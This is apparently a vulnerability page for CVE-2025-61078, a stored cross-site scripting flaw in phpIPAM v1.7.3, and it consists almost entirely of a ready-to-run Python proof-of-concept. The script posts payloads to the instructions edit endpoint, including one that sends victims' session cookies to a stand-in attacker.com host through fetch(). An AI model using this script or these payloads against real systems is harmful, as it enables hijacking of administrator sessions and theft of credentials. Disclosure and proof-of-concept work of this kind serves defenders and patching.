CVE-2025-61078 phpIPAM v1.7.3 Request IP表单跨站脚本(XSS)漏洞

import requests import sys # CVE-2025-61078 PoC - phpIPAM v1.7.3 XSS via instructions parameter # Target: /app/admin/instructions/edit-result.php def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in phpIPAM Request IP form Args: target_url: Base URL of phpIPAM installation payload: Malicious JavaScript/HTML payload Returns: bool: True if payload submitted successfully """ endpoint = f"{target_url}/app/admin/instructions/edit-result.php" # Malicious payload for XSS injection data = { "instructions": payload, "action": "add" } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload submitted to {endpoint}") print(f"[+] Payload: {payload}") return True else: print(f"[-] Failed to submit payload. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example payloads if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_61078_poc.py <target_url>") print("Example: python cve_2025_61078_poc.py http://192.168.1.100/phpipam") sys.exit(1) target = sys.argv[1] # XSS payload examples payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(document.cookie)>", "<svg/onload=fetch('https://attacker.com/steal?c='+btoa(document.cookie))>" ] for payload in payloads: exploit_xss(target, payload)